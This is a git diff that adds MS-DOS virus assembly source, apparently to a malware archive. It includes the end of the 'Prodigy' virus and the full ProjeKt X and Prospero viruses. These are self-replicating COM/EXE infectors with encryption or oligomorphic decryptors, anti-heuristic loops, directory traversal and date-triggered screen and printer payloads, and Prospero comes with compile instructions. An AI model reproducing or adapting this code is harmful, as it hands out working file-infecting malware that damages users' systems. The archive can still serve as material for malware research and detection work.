+ jmp open_file ; infect the bastard! + +dot_dot: + + mov ah,3bh ; change directory + lea dx,[bp+offset dds] ; to '..' from the + int 21h ; current directory + jc load_com + jmp find_first + +close_file: + + xor cx,cx + mov cl,byte ptr [bp+tempdta+15h] ; get old attr from DTA + lea dx,[bp+TempDTA+1eh] ; position of filename in DTA + mov ax,4301h ; set attr to original + int 21h + mov cx,word ptr [bp+tempDTA+16h] ; date and time + mov dx,word ptr [bp+tempDTA+18h] ; date and time + mov ax,5701h ; set file date/time + int 21h + mov ah,3eh ; close file + int 21h + ret + +lseek_end: + mov ax,4202h ; get to the end + cwd ; of the file (xor dx,dx) + xor cx,cx + int 21h + ret + +quote db 0dh,0ah + db '[Prodigy] v3.0 by Metabolis/VLAD',0dh,0ah + db '"Feel the jungle vibe baby"',0dh,0ah + db '"In the jungle, In the jungle.."',0dh,0ah + + ; [Prodigy] v3.0 by Metabolis/VLAD + ; "Feel the jungle vibe baby" + ; "In the jungle, In the jungle.." + + ; Quote from "Ruff in the jungle bizness" by the Prodigy :) + +infjump db 0e9h,00h,00h ; jump to the virus +first3 db 0cdh,20h,00h ; First 3 bytes of the + ; com file that was infected +dds db '..',00 ; '..' for dir recursor +mask db '+','.COM',00 ; filemask (for finding files) +slash db '\' ; fix for currdir + + ; when you use the get current directory function it doesn't + ; put a '\' at the beginning of it, so it's not possible to + ; change to the directory if you store it straight away, + ; that's why I change to directory from offset slash rather + ; than currdir since it's ASCIIZ.. (string ending in a zero) + +heap: + +currdir db 64 dup (?) ; storage for default dir +counter db 00 ; infection counter +tempdta db 43 dup (?) + + ; everything after heap doesn't actually get written to disk when + ; the virus infects a file. + diff --git a/MSDOS/Virus.MSDOS.Unknown.projektx.asm b/MSDOS/Virus.MSDOS.Unknown.projektx.asm new file mode 100644 index 00000000..b5d66e07 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.projektx.asm @@ -0,0 +1,519 @@ +; PROJEKTX.ASM : ProjeKt X + +.model tiny ; Handy directive +.code ; Virus code segment + org 100h ; COM file starting IP + +id = 'AI' ; ID word for EXE infections +entry_point: db 0e9h,0,0 ; jmp decrypt + +decrypt: ; handles encryption and decryption + mov bp,(offset heap - offset startencrypt)/2 ; iterations +patch_startencrypt: + mov bx,offset startencrypt ; start of decryption +decrypt_loop: + db 2eh,81h,37h ; xor word ptr cs:[bx], xxxx +decrypt_value dw 0 ; initialised at zero for null effect + inc bx ; calculate new decryption location + inc bx + dec bp ; If we are not done, then + jnz decrypt_loop ; decrypt mo' +startencrypt: + call next ; calculate delta offset +next: pop bp ; bp = IP next + sub bp,offset next ; bp = delta offset + + cmp sp,id ; COM or EXE? + je restoreEXE +restoreCOM: + lea si,[bp+save3] + mov di,100h + push di ; For later return + movsb + jmp short restoreEXIT +restoreEXE: + push ds + push es + push cs ; DS = CS + pop ds + push cs ; ES = CS + pop es + lea si,[bp+jmpsave2] + lea di,[bp+jmpsave] + movsw + movsw + movsw +restoreEXIT: + movsw + + mov byte ptr [bp+numinfec],3 ; reset infection counter + + mov ah,1Ah ; Set new DTA + lea dx,[bp+newDTA] ; new DTA @ DS:DX + int 21h + + mov ah,47h ; Get current directory + mov dl,0 ; Current drive + lea si,[bp+origdir] ; DS:SI->buffer + int 21h + mov byte ptr [bp+backslash],'\' ; Prepare for later CHDIR + + mov ax,3524h ; Get int 24 handler + int 21h ; to ES:BX + mov word ptr [bp+oldint24],bx; Save it + mov word ptr [bp+oldint24+2],es + mov ah,25h ; Set new int 24 handler + lea dx,[bp+offset int24] ; DS:DX->new handler + int 21h + push cs ; Restore ES + pop es ; 'cuz it was changed + +dir_scan: ; "dot dot" traversal + lea dx,[bp+exe_mask] + call infect_mask + lea dx,[bp+com_mask] + call infect_mask + mov ah,3bh ; change directory + lea dx,[bp+dot_dot] ; "cd .." + int 21h + jnc dir_scan ; go back for mo! + +done_infections: + call get_second + cmp ax,0032h ; Did the function return 50? + jl skip00 ; If less, skip effect + jmp short activate_one ; Success -- skip jump + +skip00: + call get_hour + cmp ax,0017h ; Did the function return 23? + jne skip01 ; If not equal, skip effect + call get_weekday + cmp ax,0003h ; Did the function return 3? + jne skip01 ; If not equal, skip effect + jmp activate_two ; Success -- skip jump + +skip01: jmp exit_virus + +exit_virus: + mov ax,2524h ; Restore int 24 handler + lds dx,[bp+offset oldint24] ; to original + int 21h + push cs + pop ds + + mov ah,3bh ; change directory + lea dx,[bp+origdir-1] ; original directory + int 21h + + mov ah,1ah ; restore DTA to default + mov dx,80h ; DTA in PSP + cmp sp,id-4 ; EXE or COM? + jz returnEXE +returnCOM: + int 21h + retn ; 100h is on stack +returnEXE: + pop es + pop ds + int 21h + mov ax,es ; AX = PSP segment + add ax,10h ; Adjust for PSP + add word ptr cs:[bp+jmpsave+2],ax + add ax,word ptr cs:[bp+stacksave+2] + cli ; Clear intrpts for stack manipulation + mov sp,word ptr cs:[bp+stacksave] + mov ss,ax + sti + db 0eah ; jmp ssss:oooo +jmpsave dd ? ; Original CS:IP +stacksave dd ? ; Original SS:SP +jmpsave2 db ? ; Actually four bytes +save3 db 0cdh,20h,0 ; First 3 bytes of COM file +stacksave2 dd ? + +activate_one: ; Conditions satisfied + mov cx,0003h ; First argument is 3 +new_shot: push cx ; Save the current count + mov dx,0140h ; DX holds pitch + mov bx,0100h ; BX holds shot duration + in al,061h ; Read the speaker port + and al,11111100b ; Turn off the speaker bit +fire_shot: xor al,2 ; Toggle the speaker bit + out 061h,al ; Write AL to speaker port + add dx,09248h ; + mov cl,3 ; + ror dx,cl ; Figure out the delay time + mov cx,dx ; + and cx,01FFh ; + or cx,10 ; +shoot_pause: loop shoot_pause ; Delay a bit + dec bx ; Are we done with the shot? + jnz fire_shot ; If not, pulse the speaker + and al,11111100b ; Turn off the speaker bit + out 061h,al ; Write AL to speaker port + mov bx,0002h ; BX holds delay time (ticks) + xor ah,ah ; Get time function + int 1Ah ; BIOS timer interrupt + add bx,dx ; Add current time to delay +shoot_delay: int 1Ah ; Get the time again + cmp dx,bx ; Are we done yet? + jne shoot_delay ; If not, keep checking + pop cx ; Restore the count + loop new_shot ; Do another shot + jmp go_now + +go_now: + mov ax,0003h ; stick 3 into ax. + int 10h ; Set up 80*25, text mode. Clear the + ; screen, too. + mov ax,1112h ; We are gunna use the 8*8 internal + ; font, man. + int 10h ; Hey man, call the interrupt. + mov ah,09h ; Use DOS to print fake error + ; message + mov dx,offset fake_msg + int 21h + mov ah,4ch ; Lets ditch. + int 21h ; "Make it so." + jmp exit_virus + +activate_two: ; First, get current video mode and page. + mov cx,0B800h ;color display, color video mem for page 1 + mov ah,15 ;Get current video mode + int 10h + cmp al,2 ;Color? + je A2 ;Yes + cmp al,3 ;Color? + je A2 ;Yes + cmp al,7 ;Mono? + je A1 ;Yes + int 20h ;No,quit + + ;here if 80 col text mode; put video segment in ds. +A1: mov cx,0A300h ;Set for mono; mono videomem for page 1 +A2: mov bl,0 ;bx=page offset + add cx,bx ;Video segment + mov ds,cx ;in ds + + ;start dropsy effect + xor bx,bx ;Start at top left corner +A3: push bx ;Save row start on stack + mov bp,80 ;Reset column counter + ;Do next column in a row. +A4: mov si,bx ;Set row top in si + mov ax,[si] ;Get char & attr from screen + cmp al,20h ;Is it a blank? + je A7 ;Yes, skip it + mov dx,ax ;No, save it in dx + mov al,20h ;Make it a space + mov [si],ax ;and put on screen + add si,160 ;Set for next row + mov di,cs:Row ;Get rows remaining +A5: mov ax,[si] ;Get the char & attr from screen + mov [si],dx ;Put top row char & attr there +A6: call Vert ;Wait for 2 vert retraces + mov [si],ax ;Put original char & attr back + ;Do next row, this column. + add si,160 ;Next row + dec di ;Done all rows remaining? + jne A5 ;No, do next one + mov [si-160],dx ;Put char & attr on line 25 as junk + ;Do next column on this row. +A7: add bx,2 ;Next column, same row + dec bp ;Dec column counter; done? + jne A4 ;No, do this column +;Do next row. +A8: pop bx ;Get current row start + add bx,160 ;Next row + dec cs:Row ;All rows done? + jne A3 ;No +A9: mov ax,4C00h + int 21h ;Yes, quit to DOS with error code + + ;routine to deal with snow on CGA screen. +Vert: push ax + push dx + push cx ;Save all registers used + mov cl,2 ;Wait for 2 vert retraces + mov dx,3DAh ;CRT status port +F1: in al,dx ;Read status + test al,8 ;Vert retrace went hi? + je F1 ;No, wait for it + dec cl ;2nd one? + je F3 ;Yes, write during blanking time +F2: in al,dx ;No, get status + test al,8 ;Vert retrace went low? + jne F2 ;No, wait for it + jmp F1 ;Yes, wait for next hi +F3: pop cx + pop dx + pop ax ;Restore registers + ret + jmp exit_virus + +get_weekday proc near + mov ah,02Ah ; DOS get date function + int 021h + cbw ; Sign-extend AL into AX + ret ; Return to caller +get_weekday endp + +get_day proc near + mov ah,02Ah ; DOS get date function + int 021h + mov al,dl ; Copy day into AL + cbw ; Sign-extend AL into AX + ret ; Return to caller +get_day endp + +get_hour proc near + mov ah,02Ch ; DOS get time function + int 021h + mov al,ch ; Copy hour into AL + cbw ; Sign-extend AL into AX + ret ; Return to caller +get_hour endp + +get_minute proc near + mov ah,02Ch ; DOS get time function + int 021h + mov al,cl ; Copy minute into AL + cbw ; Sign-extend AL into AX + ret ; Return to caller +get_minute endp + +get_second proc near + mov ah,02Ch ; DOS get time function + int 021h + mov al,dh ; Copy second into AL + cbw ; Sign-extend AL into AX + ret ; Return to caller +get_second endp + +note db '[ProjeKt X]',0 + +infect_mask: + mov ah,4eh ; find first file + mov cx,7 ; any attribute +findfirstnext: + int 21h ; DS:DX points to mask + jc exit_infect_mask ; No mo files found + + mov al,0h ; Open read only + call open + + mov ah,3fh ; Read file to buffer + lea dx,[bp+buffer] ; @ DS:DX + mov cx,1Ah ; 1Ah bytes + int 21h + + mov ah,3eh ; Close file + int 21h + + cmp word ptr [bp+buffer],'ZM'; EXE? + jz checkEXE ; Why yes, yes it is! +checkCOM: + mov ax,word ptr [bp+newDTA+1Ah] ; Filesize in DTA + cmp ax,3230 ; Is it too small? + jb find_next + + cmp ax,65535-(endheap-decrypt) ; Is it too large? + ja find_next + + mov bx,word ptr [bp+buffer+1]; get jmp location + add bx,heap-decrypt+3 ; Adjust for virus size + cmp ax,bx + je find_next ; already infected + jmp infect_com +checkEXE: cmp word ptr [bp+buffer+10h],id ; is it already infected? + jnz infect_exe +find_next: + mov ah,4fh ; find next file + jmp short findfirstnext +exit_infect_mask: ret + +infect_exe: + les ax, dword ptr [bp+buffer+14h] ; Save old entry point + mov word ptr [bp+jmpsave2], ax + mov word ptr [bp+jmpsave2+2], es + + les ax, dword ptr [bp+buffer+0Eh] ; Save old stack + mov word ptr [bp+stacksave2], es + mov word ptr [bp+stacksave2+2], ax + + mov ax, word ptr [bp+buffer + 8] ; Get header size + mov cl, 4 ; convert to bytes + shl ax, cl + xchg ax, bx + + les ax, [bp+offset newDTA+26]; Get file size + mov dx, es ; to DX:AX + push ax + push dx + + sub ax, bx ; Subtract header size from + sbb dx, 0 ; file size + + mov cx, 10h ; Convert to segment:offset + div cx ; form + + mov word ptr [bp+buffer+14h], dx ; New entry point + mov word ptr [bp+buffer+16h], ax + + mov word ptr [bp+buffer+0Eh], ax ; and stack + mov word ptr [bp+buffer+10h], id + + pop dx ; get file length + pop ax + + add ax, heap-decrypt ; add virus size + adc dx, 0 + + mov cl, 9 + push ax + shr ax, cl + ror dx, cl + stc + adc dx, ax + pop ax + and ah, 1 ; mod 512 + + mov word ptr [bp+buffer+4], dx ; new file size + mov word ptr [bp+buffer+2], ax + + push cs ; restore ES + pop es + + push word ptr [bp+buffer+14h] ; needed later + mov cx, 1ah + jmp short finishinfection +infect_com: ; ax = filesize + mov cx,3 + sub ax,cx + lea si,[bp+offset buffer] + lea di,[bp+offset save3] + movsw + movsb + mov byte ptr [si-3],0e9h + mov word ptr [si-2],ax + add ax,103h + push ax ; needed later +finishinfection: + push cx ; Save # bytes to write + xor cx,cx ; Clear attributes + call attributes ; Set file attributes + + mov al,2 + call open + + mov ah,40h ; Write to file + lea dx,[bp+buffer] ; Write from buffer + pop cx ; cx bytes + int 21h + + mov ax,4202h ; Move file pointer + xor cx,cx ; to end of file + cwd ; xor dx,dx + int 21h + +get_encrypt_value: + mov ah,2ch ; Get current time + int 21h ; dh=sec,dl=1/100 sec + or dx,dx ; Check if encryption value = 0 + jz get_encrypt_value ; Get another if it is + mov [bp+decrypt_value],dx ; Set new encryption value + lea di,[bp+code_store] + mov ax,5355h ; push bp,push bx + stosw + lea si,[bp+decrypt] ; Copy encryption function + mov cx,startencrypt-decrypt ; Bytes to move + push si ; Save for later use + push cx + rep movsb + + lea si,[bp+write] ; Copy writing function + mov cx,endwrite-write ; Bytes to move + rep movsb + pop cx + pop si + pop dx ; Entry point of virus + push di + push si + push cx + rep movsb ; Copy decryption function + mov ax,5b5dh ; pop bx,pop bp + stosw + mov al,0c3h ; retn + stosb + + add dx,offset startencrypt - offset decrypt ; Calculate new + mov word ptr [bp+patch_startencrypt+1],dx ; starting offset of + call code_store ; decryption + pop cx + pop di + pop si + rep movsb ; Restore decryption function + + mov ax,5701h ; Restore creation date/time + mov cx,word ptr [bp+newDTA+16h] ; time + mov dx,word ptr [bp+newDTA+18h] ; date + int 21h + + mov ah,3eh ; Close file + int 21h + + mov ch,0 + mov cl,byte ptr [bp+newDTA+15h] ; Restore original + call attributes ; attributes + + dec byte ptr [bp+numinfec] ; One mo infection + jnz mo_infections ; Not enough + pop ax ; remove call from stack + jmp done_infections +mo_infections: jmp find_next + +open: + mov ah,3dh + lea dx,[bp+newDTA+30] ; filename in DTA + int 21h + xchg ax,bx + ret + +attributes: + mov ax,4301h ; Set attributes to cx + lea dx,[bp+newDTA+30] ; filename in DTA + int 21h + ret + +write: + pop bx ; Restore file handle + pop bp ; Restore relativeness + mov ah,40h ; Write to file + lea dx,[bp+decrypt] ; Concatenate virus + mov cx,heap-decrypt ; # bytes to write + int 21h + push bx + push bp +endwrite: + +int24: ; New int 24h (error) handler + mov al,3 ; Fail call + iret ; Return control + +exe_mask db '*.exe',0 +com_mask db '*.com',0 +dot_dot db '..',0 +heap: ; Variables not in code +; The following code is the buffer for the write function +code_store: db (startencrypt-decrypt)*2+(endwrite-write)+1 dup (?) +oldint24 dd ? ; Storage for old int 24h handler +backslash db ? +fake_msg db "If YOU can be a half-wit, so can I!!$" +Row dw 24 +origdir db 64 dup (?) ; Current directory buffer +newDTA db 43 dup (?) ; Temporary DTA +numinfec db ? ; Infections this run +buffer db 1ah dup (?) ; read buffer +endheap: ; End of virus +end entry_point diff --git a/MSDOS/Virus.MSDOS.Unknown.prospero.asm b/MSDOS/Virus.MSDOS.Unknown.prospero.asm new file mode 100644 index 00000000..cc5793c7 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.prospero.asm @@ -0,0 +1,761 @@ +;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% +;------------------------------------------------------------------------- +; Prospero Virus +; +; (C) Opic [Codebreakers 1998] +;------------------------------------------------------------------------- +;%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% + +;IMPORTANT NOTES: + +;compiled with TASM 4.1 and TLINK 7.1 + +;to compile: TASM prospero.asm +; TLINK /t prospero.obj +;Rename Prospero.com Prospero.exe (this is to avoid prospero infecting +;itself first generation only + +;Type: appending .com infector + +;virus size: 1st Gen 1723 bytes +;infected files grow 1712 bytes + +;searches *.c* then comfirms *.COM + +;does NOT infect command.com + +;nor files bigger the 63824 bytes + +;Encryption: 5 types (XOR, NEG, ROR, ROL,and NOT)---| +; used in combination for 7 algorithms <---------| + +;Polymorphic: Yes (well Oligomorphic if you wanna get picky), there is a +;stock of 7 different 3op encryption algorithms and delta offsets rutines +;from which the virus chooses (a different type of encryption and delta +;offset is choosen every day of the week). the rest are safely +;encrypted inside the virus body. + +;antiheuristics: yes. + +;Directory Transversal: DotDot method + +;restores infected file time/date stamps + +;restores infected file DTA + +;Rate of infection:no more then 7 per run + +;restores infected file attributes + +;payload criteria:The virus will manifest a payload on +;the 1st day of the month if the minutes are above 30. + +;payload:a large graphical color text effect as well as a message +;is delivered from through printer: + +;************************PROSPERO!************************** +;There is a path to the trancendece of the dollar: Embark +;rich beggars! Does magic bring prosperos to his knees? +;Reading pretty twilight, making grass uncertain? +;Oh,all that christmas snow shouldered by one birthday suit! +;The fate of the world under his armpit like a thermometer? +;Rejoice Villains! Your time has come. +;**************(C) Opic [CodeBreakers,98]******************* + +;EXTRA SPECIAL GREETS AND THANX GO OUT TO: +;DARX_KIES, OWL[FS], DARKMAN, MIKEE, ALL the CodeBreakers and the countless +;others that have helped me learn and progress. +; +;OTHER: it has been awhile since I have looked at this virus, but it has come +;to my attention that it may have a bug in the directory transversal rutine, +;im not particularly interested in working on this virus any further, but +;felt it should be noted for the record (suprisingly it made it to the +;supplimentals on "the wild list"). +;------------------------------------------------------------------------ +.286 +prospero Segment + Assume CS:prospero, DS:prospero, ES:prospero + Org 100H + jumps + +start: + mov cx,0ffffh ;loop to kill heuristic scanners + +no_av1: + jmp no_av2 + mov ax,4c00h + int 21h + +no_av2: + loop no_av1 + call delta ;call delta + +delta: ;duh! + pop bp ;pop bp + sub bp,offset delta ;fer the distanc + Nop ;You need those two nops. + Nop ; +;!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! +;----------setup----------------- + lea si,[bp+c_start] ; + mov di,si ; + mov cx,virus_end - c_start ; + call encrypt ; + jmp c_start ; + +value db 0 ;decrypt value + +stop: ;label for later + +;---------to be polyed------------ + +encrypt: ;padding + DB 20 Dup(90H) + ret ;=21 for crypt +;--------start of crypt body------- +c_start: ;part to crypt + +;------clear infection counter---- + mov byte ptr [bp+counter],0 + + mov cx,3 ;get first 3 + mov di,100h ;restore em! + lea si,[bp+buff] + rep movsb + +;--------save DTA------------------ + lea di,[bp+NewDTA] + mov si,80h ;DTA to save + mov cx,2Ah ;length of DTA 2ah + rep movsb ;save it + +;-----------first------------------ +find_first: ;find first + mov ah,4eh ;file + +find_next: ;we need this lata + lea dx,[bp+filemask] ;what we is lookin fer + int 21h ;now! + jnc verify ;find one? infect + +;----------------DT-------------------------- +dotdot: + lea dx,[bp+dot] ;get dot from dataseg + mov ah,3Bh ;cd + int 21h ;go! + jnc find_first ;find first in new dir + + +;------------payload check-------------------- +check_payload: ;payload check + mov ah,2ah ;system date + int 21h ;now! + cmp dl,1 ;is it the first? + je n_check ;yes? second check + jmp close +n_check: + mov ah,2Ch ;internal clock + cmp cl,30d ;minutes 30 or above? + jae payload ;yes? lets do it! + jmp close ;no? lets chill + +;---------graphic payload------------------------- +payload: + + mov ax,13 ;set mode 13h + int 10h ;call bios + mov dx,030ah;dh/dl are the line/column coordinates + xor bh,bh ;on page 0 + mov ah,02h ;02h=move cursor to + int 10h ;go + push cs ; + pop ds ; + lea si,[bp+ offset message1];1st message + mov cx,14 ;length + +show: ;shows the message + lodsb ;keep goin + mov bl,2 ;color + mov ah,0eh ;write one letter + int 10h ; + loop show ;till we do em all + add dx,507 ;get ready fer #2 + mov ah,02h ;put cursor + int 10h ; + lea si,[bp+ offset message2];mess2 + mov cx,27 ;length + +show2: ; + lodsb ; + mov bl,30 ;color + mov ah,0eh ; + int 10h ; + loop show2 ; + + mov ah,01h ;begin of printer sect of payload + mov dx,0h + int 17h ;int for initializing printer + lea si,string1 + mov cx,EndStr1-String1 + +PrintStr: + mov ah,00h + lodsb + int 17h + loop PrintStr + + mov ax,4c00h;exit + int 21h ;dos + + +;---------ret to host------------- +close: ;exit stage left + +;---------restore DTA------------------------ + lea si,[bp+NewDTA] ;saved DTA + mov di,80h ;area it was + mov cx,2Ah ;length + rep movsb ;write it + + push 100h ;start o file + ret ;dar! + +;-------start .com checks-------- +verify: + mov cx,13d ;max size of file name + mov si,9eh ; !!!! + +;---------*.com and not command-------- +compare: + lodsb ;find the point! + cmp al,"." ;is it? + jne compare ;no? try again + inc si ;yes? next letter + cmp word ptr [si], "MO" ;does it spell .COM? + je check_for_command_com ;no find next! + jmp close_file +check_for_command_com: + cmp word ptr [bp+9eh+2], "MM" ;is it command.com? + je close_file ;yes? next! + +;-------------save attribs----------------- +infect: ;duh! + Mov si,95h ; !!!! get dta + mov cx,09h ;mov it to cx + lea di,[bp+attribs] ;save em + rep movsb ;move em + +;-------------clear atrribs---------------- + Mov dx,9Eh ;filename in DTA + mov ax,4301h ;so we can infect + xor cx,cx ;all .coms + int 21h ; + + mov ax,3d02h ;open file fer read/write + mov dx,9eh ;get info + int 21h ;go! + xchg bx,ax ;put ax in bx + +;---------------time/date----------------------- + mov ax,5700h ;get time/date stamp + int 21h ;save em----| + push dx ; <-------| + push cx ; <-------| + +;--------------rand xor value-------------------- + in al,40h ;new crypt value + mov byte ptr [bp+value],al ;put it place + +;--------------first 3----------------------------- + mov ah,3fh ;read 3 bytes from the file.. too + ; + mov cx,5 ;be replaced with a jump to the virus + lea dx,[bp+buff] ;load buffer in dx + int 21h ;go! + +;------------size check--------------------- + mov di,9Ah + cmp word ptr [di],63824 ;size check! no bigger then 63824 bytes + jae close_file ; + +;-----------prev infected?---------------------- +infect_check: + pusha ; i saved registers since i did not take the time + ; to check which registers must be saved + + mov ax,4200h ; set r/w pointer to start of file +1 + xor cx,cx + mov dx,1 + int 21h + + mov ah,3fh ; read the jump displacement + mov cx,2 + lea dx,opbuf+bp + int 21h + + mov ax,opbuf+bp + add ax,3 ; add 3 to jump displacement to get offset + ; of marker ':(' + + mov dx,ax + mov cx,0 + mov ax,4200h ; set pointer to marker offset + int 21h + + mov ah,3fh ; read 2 bytes again + mov cx,2 + lea dx,opbuf+bp + int 21h + + popa ; registers popped here + + cmp opbuf+bp,'(:' ; check for marker + je close_file ; marker found? close file + jmp short over_opbuf ; otherwise proceed + + +over_opbuf: + + +; mov si,9ah ; +; mov ax,word ptr [si] ;infected? +; sub ax,virus_end - start + 3 ;check it? +; cmp ax,word ptr[bp+buff+1] ;compare.. +; je close_file ;already infected? outta here! + +;----------infect already------------------- + mov si,9ah + mov ax,word ptr[si] + sub ax,3 + mov word ptr[bp+three+1],ax + + mov ax,4200h ;start of file + xor cx,cx ;clear + xor dx,dx ;cx and dx + int 21h ;now! + +;------------write jump---------------------- + mov ah,40h ;write the 3 byte jump + lea dx,[bp+three] ;load em + mov cx,3 ;move em + int 21h ;now! + jmp next + +close_file: ; + jmp restc ; + +;---------write cryptor------------------------------ + next: ; + mov ax,4202h ;end of file + xor cx,cx ;clear + xor dx,dx ;em + int 21h ;now! + +;---------POLY: cryptor------------------------------- + ;pick random cryptor from stock of 7 +poly: ;determine 2nd part of cryptor + mov ah,2ah ;get day of week + int 21h ;now + +;------find which cryptor to write to infection----------- + or al,al ;is it.....sunday + jz d0 ; + cmp al,001h ;mon + je d1 ; + cmp al,002h ;tue + je d2 ; + cmp al,003h ;wed + jne td4 ; + Jmp d3 +td4: + cmp al,004h ;thur + jne td5 ; + Jmp d4 +td5: + cmp al,005h ;fri + jne td6 ; + Jmp d5 +td6: + Jmp d6 + +;-------load the cryptor we need-------------------- +d0: ;pick and write Zero cryptor + mov al,[bp+value] + mov [bp+value0],al + mov ah,40h + lea dx,[bp+del] ; + mov cx,del1 - del ; + int 21h ; + lea si,[bp+c_start] ; + lea di,[bp+virus_end] ;load + mov cx,virus_end - c_start ;move + call crypt + jmp write +d1: ;pick and write 1st cryptor + mov al,[bp+value] + mov [bp+value1],al + mov ah,40h + lea dx,[bp+del1] ; + mov cx,del2 - del1 ; + int 21h ; + lea si,[bp+c_start] ; + lea di,[bp+virus_end] ;load + mov cx,virus_end - c_start ;move + call crypt1 + jmp write +d2: ;pick and write 2nd cryptor + mov al,[bp+value] + mov [bp+value2],al + mov ah,40h + lea dx,[bp+del2] ; + mov cx,del3 - del2 ; + int 21h ; + lea si,[bp+c_start] ; + lea di,[bp+virus_end] ;load + mov cx,virus_end - c_start ;move + call crypt2 + jmp write +d3: ;pick and write 3rd cryptor + mov al,[bp+value] + mov [bp+value3],al + mov ah,40h + lea dx,[bp+del3] ; + mov cx,del4 - del3 ; + int 21h ; + lea si,[bp+c_start] ; + lea di,[bp+virus_end] ;load + mov cx,virus_end - c_start ;move + call crypt3 + jmp write +d4: ;pick and write 4th cryptor + mov al,[bp+value] + mov [bp+value4],al + mov ah,40h + lea dx,[bp+del4] ; + mov cx,del5 - del4 ; + int 21h ; + lea si,[bp+c_start] ; + lea di,[bp+virus_end] ;load + mov cx,virus_end - c_start ;move + call crypt4 + jmp write +nope: + jmp close +d5: ;pick and write 5th cryptor + mov al,[bp+value] + mov [bp+value5],al + mov ah,40h + lea dx,[bp+del5] ; + mov cx,del6 - del5 ; + int 21h ; + lea si,[bp+c_start] ; + lea di,[bp+virus_end] ;load + mov cx,virus_end - c_start ;move + call crypt5 + jmp write +d6: + mov al,[bp+value] + mov [bp+value6],al + mov ah,40h + lea dx,[bp+del6] ; + mov cx,noc - del6 ; + int 21h + lea si,[bp+c_start] ; + lea di,[bp+virus_end] ;load + mov cx,virus_end - c_start ;move + call crypt6 + +;-------write crypted area-------------------- +write: + mov ah,40h ;write encrypted area + lea dx,[bp+virus_end] ;load + mov cx,virus_end - c_start ;move + int 21h ;now! + +count: + inc byte ptr [bp+counter] ;add one + + +;-----------restore time/date--------------- +restc: + mov ax,5701h ;restore stamps + pop cx ;remember? + pop dx ;we saved these! + int 21h ; + +;-------------close-------------------------- + mov ah,3eh ;close file + int 21h ;go! + + +;------------restore attribs----------------- + mov ax,4301h ;set attribs + Mov dx,9Eh ; !!!! name in DTA + xor cx,cx ;clear! + mov cl, byte ptr [bp+attribs] ;attribs in cl + int 21h ;go + + + cmp byte ptr [bp+counter],7 ;this isnt completly + ;accurate due to the + ;the fact that it + ;counts fails from + ;infection checks + ;but i kinda like having + ;a semi random infection check + ja nope ;and exit + + +;--------------next and infection check---------- +next1: + + mov ah,4Fh ;find next file + jmp find_next ;continue! + +;-----------our stock of cryptors------------ + +del: + db ':(' + cli ; 1 + db 0E8h,0,0 ; 3 + pop ax ; 1 + sti ; 1 + sub ax,offset delta+1 ; 3 + xchg bp,ax ; 1 =10 + + lea si,[bp+c_start] ; + mov di,si ; + mov cx,virus_end - c_start ; + call crypt ; + Jmp Del1 +Value0 db 0 +crypt: + lodsb ; + Push CX + Nop + Mov CL,4 + rol al,CL ; + Nop + neg al ; + rol al,CL ; + Nop + Pop CX + stosb ; + Nop + loop crypt ; + ret ;21 !!! + Nop + Nop +;-------------------------------------------- + +del1: + db ':(' + db 0E8h,00,00 ; + sti ; + pop bp ; + xchg bx,ax ; + sub bp,offset delta ; + + lea si,[bp+c_start] ; + mov di,si ; + mov cx,virus_end - c_start ; + call crypt1 ; + Jmp Del2 +Value1 db 0 +crypt1: + Nop + lodsb ; + Nop + neg al ; + Push CX + Mov CL,4 + ror al,CL ; + Pop CX + Nop + neg al ; + Nop + stosb ; + Nop + loop crypt1 ; + ret ;21 !!! + Nop +;------------------------------------------ +del2: + db ':(' + cld ; + db 0E8h,0,0 ; + pop bp ; + clc ; + sub bp,offset delta+1 ; + +lea si,[bp+c_start] ; + mov di,si ; + mov cx,virus_end - c_start ; + call crypt2 ; + Jmp Del3 +Value2 DB 0 +crypt2: + Nop + Nop + lodsb ; + not al ; + nop ; + xor al,byte ptr [bp+value] ; + nop ; + not al ; + nop ; + Nop + stosb ; + loop crypt2 ; + Nop + ret ;21 !!! +;--------------------------------------- +del3: + db ':(' + sti ; 1 + nop ; 1 + db 0E8h,0,0 ; 3 + pop bp ; 1 + sub bp,offset delta+2 ; 4=10 + + lea si,[bp+c_start] ; + mov di,si ; + mov cx,virus_end - c_start ; + call crypt3 ; + Jmp Del4 +Value3 db 0 +crypt3: + lodsb ; + Push CX + Nop + Nop + Mov CL,4 + ror al,cl ; + not al ; + Nop + ror al,cl ; + Nop + Pop CX + stosb ; + loop crypt3 ; + Nop + ret ;21 !!! + Nop +;--------------------------------------- +del4: + db ':(' + db 0E8h,0,0 ; 3 + pop ax ; 1 + xchg bx,ax ; 1 + xchg bx,ax ; 1 + sub ax,offset delta ; 3 + xchg bp,ax ; 1 + + lea si,[bp+c_start] ; + mov di,si ; + mov cx,virus_end - c_start ; + call crypt4 ; + Jmp Del5 +Value4 db 0 +crypt4: ; + lodsb ; + Push CX + Mov CL,4 + xor al,byte ptr [bp+value] ; + rol al,cl ; + xor al,byte ptr [bp+value] ; + Pop CX + stosb ; + loop crypt4 ; + ret ;21 !!! +;-------------------------------------- +del5: + db ':(' + db 0E8h,0,0 ; 3 + nop ; 1 + pop ax ; 1 + nop ; 1 + sub ax,offset delta ; 3 + xchg bp,ax ; 1 ; = 10 + + lea si,[bp+c_start] ; + mov di,si ; + mov cx,virus_end - c_start ; + call crypt5 ; + Jmp Del6 +Value5 db 0 +crypt5: ; + Nop + lodsb ; + not al ; + Push CX + Nop + Mov CL,4 + ror al,cl ; + Nop + Pop CX + Nop + not al ; + Nop + stosb ; + Nop + loop crypt5 ; + ret ;21 !!! +;-------------------------------------- +del6: + db ':(' + sti ; 1 + clc ; 1 + db 0E8h,0,0 ; 3 + pop ax ; 1 + sub ax,offset delta +2 ; 3 + xchg bp,ax ; 1=10 +lea si,[bp+c_start] ; + mov di,si ; + mov cx,virus_end - c_start ; + call crypt6 ; + Jmp Noc +Value6 db 0 +crypt6: ; + lodsb ; + Push CX + Mov CL,4 + ror al,CL + Nop + xor al,byte ptr [bp+value] + ror al,CL + Nop + Pop CX + stosb + Nop + loop crypt6 + ret +noc: ;21 !!! + +;-----------DATA-------------------------- +newdta db 2ah dup(?) +filemask db '*.c*',0 +three db 0e9h,0,0 +buff db 0cdh,20h,0 